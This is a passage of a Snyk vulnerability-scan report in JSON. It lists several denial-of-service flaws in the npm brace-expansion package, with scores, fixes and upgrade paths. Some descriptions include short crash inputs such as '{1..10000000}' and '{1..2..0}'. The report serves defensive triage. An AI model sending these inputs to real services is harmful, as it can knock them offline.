"2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", 